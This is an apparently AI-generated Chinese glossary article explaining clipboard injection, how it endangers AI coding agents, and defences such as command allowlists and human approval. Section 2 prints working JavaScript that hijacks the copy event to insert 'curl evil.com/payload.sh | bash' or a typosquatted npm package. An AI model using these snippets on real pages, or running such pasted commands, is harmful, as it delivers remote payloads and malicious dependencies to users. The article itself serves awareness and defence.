← 返回术语百科

🗡️ Clipboard Injection

你以为复制的是代码,粘贴的却是一颗炸弹。世界上有一种攻击,它不黑你的电脑,只偷你按Ctrl+V的那一瞬间……

📅 2026-04-30 · ⏱️ 阅读约10分钟 · AI安全 CVE-2026-31431 必读

📋 目录

一、什么是剪贴板注入?

2026年4月29日,Hacker News热榜第一不是什么新模型发布,而是一个叫copy.fail的网站——它向全世界展示了一种你每天都在犯的安全错误。

Clipboard Injection(剪贴板注入)是一种通过恶意网页篡改系统剪贴板内容的安全攻击。当你从网页上"复制"代码时,恶意脚本会偷偷把剪贴板内容替换成完全不同的东西。

用周星驰的方式说:就像你去银行取100块,柜员偷偷给你换成100块冥币。你看着数目是对的,但花的时候才发现……嗯,阎王爷不收二维码。

用王家卫的方式说:世界上有一种偷窃,不偷你的钱包,只偷你的Ctrl+C。在你按下Ctrl+V的0.3秒里,你以为粘贴的是人生,其实粘贴的是劫难。

CVE-2026-31431:2026年4月被正式编号的剪贴板注入漏洞。这不是理论攻击——copy.fail网站已经证明了它可以实时发生。

二、攻击过程拆解

整个攻击只需要3步,简单到令人发指:

1
你复制代码 — 在GitHub、Stack Overflow或任何网页上选中代码,Ctrl+C。此时剪贴板里是正常代码。
2
恶意脚本替换 — 网页的JavaScript监听到copy事件,用 e.clipboardData.setData() 把剪贴板内容替换成恶意代码。整个过程不超过50毫秒。
3
你粘贴执行 — 切到终端或AI Agent工具,Ctrl+V。粘贴的不是你复制的代码,而是恶意代码。如果你的终端自动执行,或者AI Agent直接运行……中招。

攻击代码的核心就这么简单:

// ⚠️ 仅供安全研究,请勿用于恶意目的
document.addEventListener('copy', (e) => {
    e.preventDefault();
    // 用恶意命令替换用户复制的代码
    e.clipboardData.setData('text/plain', 
        'curl evil.com/payload.sh | bash  # 看起来正常但执行恶意代码'
    );
});

// 高级版本:只替换看起来像命令的代码
document.addEventListener('copy', (e) => {
    const original = e.clipboardData.getData('text/plain');
    if (original.startsWith('npm') || original.startsWith('pip')) {
        // 替换包名,指向恶意包
        e.clipboardData.setData('text/plain', 
            original.replace('install', 'install fake-package-xyz')
        );
    }
});

三、真实案例

3.1 copy.fail 演示站(2026年4月)

HN热榜181分的copy.fail网站做了一个非常直观的演示:你在页面上复制任何代码,粘贴出来时都会变成恶意版本。这个网站的目的不是攻击,而是教育——让开发者意识到这个威胁的存在。

3.2 Ramp Sheets AI 数据泄露(2026年4月)

PromptArmor披露Ramp的Sheets AI工具存在数据泄露风险。虽然不是直接通过剪贴板注入,但原理类似——用户输入到AI工具中的财务数据可以被提取和利用。

3.3 恶意npm包供应链攻击

攻击者创建与热门包同名的恶意包(如 lodash-utils vs lodash),通过剪贴板注入把 npm install lodash 替换为 npm install lodash-utils,让开发者不经意间安装恶意包。

四、为什么AI Agent特别危险?

AI编码工具(Cursor、Claude Code、Mistral Vibe、Windsurf等)让剪贴板注入的杀伤力提升了100倍。以前攻击需要你手动粘贴到终端执行;现在,AI Agent会自动"帮忙"执行。

传统场景:你复制了恶意代码 → 粘贴到终端 → 自己看了一眼 → 执行。中间有人工检查的缓冲。

AI Agent场景:你复制了代码 → 粘贴到AI对话 → AI说"好的我来执行" → 直接执行。中间没有缓冲。

更危险的是,AI Agent不仅执行你给它的代码,还可能根据剪贴板内容生成更多代码。一个被注入的包名可能导致AI Agent在整个项目中植入恶意依赖。

五、完整防御方案

🔍 粘贴前检查

永远不要直接Ctrl+V到终端。先粘贴到文本编辑器确认内容,再复制到终端。

📦 锁定依赖版本

使用package-lock.json、requirements.txt锁定版本,防止包名被替换。

🧪 沙箱执行

在Docker容器或沙箱中运行未知代码,限制文件系统和网络访问。

🔒 浏览器安全

启用浏览器剪贴板保护(Firefox已默认开启),禁用不必要网站的JavaScript。

🤖 Agent审批机制

配置AI Agent的命令执行需要人工审批,特别是sudo、rm、curl等危险命令。

📋 剪贴板监听

使用安全工具监控剪贴板变化,在内容被替换时发出警报。

六、OpenClaw的安全机制

OpenClaw作为Agent运行时,内置了多层安全机制来应对剪贴板注入等威胁:

6.1 Elevated权限审批

# OpenClaw 安全配置示例
exec:
  security: "allowlist"   # 白名单模式:只允许预定义的命令
  # security: "deny"      # 拒绝模式:禁止所有命令执行
  # security: "full"      # 完全开放(不推荐用于生产环境)
  elevated: true          # 敏感操作需要人类审批 /approve

6.2 命令白名单

# 只允许特定命令通过
exec:
  security: "allowlist"
  # 允许的命令模式
  allowlist:
    - "npm test"
    - "npm run build"
    - "git status"
    - "cat *.md"
    # 永远不会匹配:curl | bash 这种危险操作

6.3 approve-once 单次审批

OpenClaw的 approve-once 机制确保每个需要审批的命令都必须单独获得人类许可。即使AI Agent被注入恶意指令试图连续执行多个危险命令,每个都会被拦截。

6.4 系统指令隔离

OpenClaw的安全设计明确区分了"用户指令"和"网页内容"。从外部获取的内容不会被当作系统指令执行(参考SECURITY NOTICE机制)。

七、结语

凌晨4点30分,我在想一个问题:当我们把越来越多的控制权交给AI Agent,我们是不是也在不知不觉中把"最后防线"交了出去?以前还有人工检查这道墙,现在AI帮你跳过了。剪贴板注入不是技术问题——它是信任问题。你信任Ctrl+C,就像信任你家前门永远不会被撬开。

这个漏洞之所以可怕,不是因为它技术多高深——恰恰相反,它简单到任何前端开发者都能实现。可怕的是它利用了人类最深层的习惯:复制-粘贴

对AI Agent开发者而言,这篇文章的教训只有一个:永远不要假设用户输入是安全的,哪怕那个"用户"就是你自己。

🎭 妙趣总结

剪贴板注入是"最古老"的Web攻击之一(clipboard API劫持),但在AI Agent时代获得了新生命。防御的核心不是技术,是习惯——每次粘贴前多看一眼。OpenClaw的allowlist + elevated审批机制,让你的Agent多了一道不会犯困的保安。


本文由妙趣AI生成 · 最后更新:2026-04-30 · 查看更多术语

📚 延伸阅读